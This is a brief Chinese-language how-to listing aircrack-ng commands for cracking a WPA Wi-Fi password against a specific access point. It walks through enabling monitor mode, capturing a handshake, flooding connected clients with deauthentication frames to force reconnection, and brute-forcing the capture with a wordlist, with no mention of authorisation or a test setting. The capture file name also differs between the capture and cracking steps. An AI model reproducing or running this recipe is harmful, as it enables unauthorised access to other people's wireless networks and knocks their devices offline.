1、使用airmon-ng命令检查网卡是否支持监听模式，出现wlan0说明正常

airmon-ng

2、开启无线网卡的监听模式

airmon-ng start wlan0

3、开启监听模式之后，无线接口wlan0变成了wlan0mon

ifconfig

4、扫描wifi

airodump-ng wlan0mon

5、抓取握手包

airodump-ng -c 4 --bssid 1C:60:DE:9D:6F:A6 -w hach wlan0mon

-c 信道(CH)
-w 保存目录

6、如果抓不到，让已连接的设备重新连接

aireplay-ng -0 50 -a 1C:60:DE:9D:6F:A6 -c 设备MAC wlan0mon

7、跑包

aircrack-ng -b 1C:60:DE:9D:6F:A6 -w pass.txt hack-08.cap

aircrack-ng -a2 -b 1C:60:DE:9D:6F:A6 -w pass.txt hack-08.cap